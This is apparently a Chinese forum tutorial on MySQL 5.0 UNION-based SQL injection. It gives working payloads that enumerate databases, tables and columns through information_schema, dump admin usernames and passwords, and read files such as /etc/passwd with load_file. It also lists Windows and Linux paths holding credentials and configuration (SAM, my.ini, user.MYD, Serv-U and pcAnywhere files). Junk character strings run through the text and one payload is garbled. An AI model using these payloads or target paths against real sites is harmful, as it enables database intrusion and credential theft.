mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

4 z& o% v* O1 v/ a7 B
* [6 _/ b; D4 f/ b* S
; K, @3 g; o, iMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
5 U- p6 n. O  ^0 J明。
2 F1 n- p% `) Y5 u1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
# I0 x0 Q+ H( `3 e' Q|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
, u7 t; L" D1 O) F|—字段：TABLE_SCHEMA ->该字段所属数据库名
% `0 W2 g) R8 N|—字段：TABLE_NAME ->存储所属表的名称
$ j9 m, `8 [+ ^( `6 F, o
|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
##

0×001 获取系统信息:
4 ?5 B3 D3 p* S- D# ^# f
- N" ^+ p* Y) i$ xunion select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
+ `$ {4 ?. W. w2 T1 {
# ~& _* C' w& c/*

7 O6 i" x  D7 |: H7 ~( A@@global.version_compile_os 获取系统版本
: ?4 H8 f' e2 }' ~, \, k; L0 A
@@datadir 数据库路径
+ s% S% K9 Z# o, ~$ ydatabase() 当前数据库名称
0x3c62723e 换行HEX值

*/
0 t( r6 c. A+ ]
######################################################################

* M- {1 `3 K9 Q% @5 A/ R0×002 获取表名
7 ?9 F6 j& |4 t7 Z
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
" O* x0 |" ?' J- G) P& Kinformation_schema.tables where table_schema=0x67617264656e /*

# k8 o. r( I7 C$ ?2 S/*

0x67617264656e 为当前数据库名

* J8 i  N5 R( cgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
2 t& `. f. l2 o
*/
7 b% n$ T/ e: K1 P2 L5 x. ?; x3 `9 y
5 n% w7 I. e. H6 v######################################################################

. @- N  J6 P2 K2 K( }1 R0×003 获取字段
$ ]) F: G& O! R8 v
7 O8 T; h; g# f  ~2 i9 v4 b% F9 Punion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
, l! O: j$ m" R" p8 \2 |information_schema.columns where table_name=0x61646d696e and
( r: y, _+ s- y, X8 j5 b% F' E

table_schema=0x67617264656e limit 1 /*
, W/ J" G2 ~- n5 h! w! W3 N  t- ~( u
: m( V( c& y: ^4 }1 g/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
0 X" ]! Q7 C  C  q6 G& ?- d
: F' l( t) h* A8 Z0x61646d696e ->选择一个表
+ V1 s# r2 {# `9 ~! Z
$ ?6 T% q7 k% r# E; Y, I0x67617264656e ->数据库名
+ q0 K8 l' n  B  O
; b& g4 Y2 h8 O) V& M" B3 {+ C2 u*/

, O7 |+ m: X0 p: @: E#####################################################################

- S6 j# x1 T+ |6 A% P$ @; u9 Z7 b0×004 获取数据
  p$ w6 |0 ^4 K( W1 D% A+ r
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
  S$ G9 c, V6 Q7 `+ a5 ^
+ X% w. j: n, r: ^. [union select 1,group_concat(id),group_concat(adname),4,5,group_concat
/ {; q. z9 D3 F$ J% _(adpassword),6,7,8 from admin

/*
5 c# X/ G* ~2 A% O/ D
) U5 e' }2 d1 K2 W0x3c62723e 换行符号HEX编码

/ j  ?0 H) \5 i; |% Fgroup_concat 同时获得该字段所有数据

" {/ E# p# O' B( S; {: _. A*/


2 p# c7 n* n( n9 v- g1 Q! V
2 d& X' a  w3 g/ [

顺便添加一些mysql注入时非常有用的一些东西

7 @8 _+ ~9 V! @& c! D9 F2 \8 |. ]% g简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
. q3 l2 s+ k0 s7 c8 c- t
" N7 u0 @+ f% O3 e5 s% B& J* L9 T1:system_user() 系统用户名
: _! X: R# U% q2:user()        用户名
& G  p: m- F, J4 r! ^6 N3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
# G0 r) w+ x7 k( i" c0 C6:version()     MYSQL数据库版本
( A5 `) n, Q2 r2 t$ \: @0 O7:load_file()   MYSQL读取本地文件的函数
- i6 t$ U1 P5 g) d8@datadir     读取数据库路径
1 K0 ?/ g! t( w( O, g) C. x9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
c:/boot.ini          //查看系统版本
9 `0 X8 f* c5 W1 j5 Ac:/windows/php.ini   //php配置信息
0 O$ ]' t, k: z/ Ec:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
4 T) n4 x3 Z8 v) D& zc:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
1 {( i+ r0 H/ R6 `3 O1 rc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
0 _/ l" K  a& nc:\Program Files\RhinoSoft.com\ServUDaemon.exe
; S, e6 S. X  f% Q- `7 cC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
( q+ z# B. R( m" v" X/ k//存储了pcAnywhere的登陆密码
7 z# [( ^5 ~& v! w9 o% O5 f& Hc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
# v  j6 o4 f0 R$ a$ u1 F9 hc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
* w9 |* `$ R( m

# U% [. e' Z- \' U0 j; O. e2 |7 dc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
$ P- X$ z* `0 \  f5 rd:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
4 m0 c) H+ I& [! ]/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
5 G$ h; I' e% R" E- Y' [. a; S/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
% o1 Q8 _1 y, D. y. G$ f/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
  ?+ v' J+ h4 J$ t/etc/issue
/etc/issue.net
( q9 V% [  {# s/usr/local/app/php5/lib/php.ini //PHP相关设置
. w2 f- Y& y" ^% |5 }6 r/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
& {8 g9 s' R* T. @* T/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
: Q( t, ?+ n  |! v5 V2 i% ?# k/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
0 y" g( \% _1 }5 c8 L5 l$ p( k/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
2 ~# {, \9 u2 V' |! l/etc/sysconfig/iptables 查看防火墙策略
, T/ G0 f! K( ^. F3 Xload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
6 n1 |' \2 U; I* ureplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
& a# A5 N) Y) U* z" L' }1 |9 W7 M. k" r上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.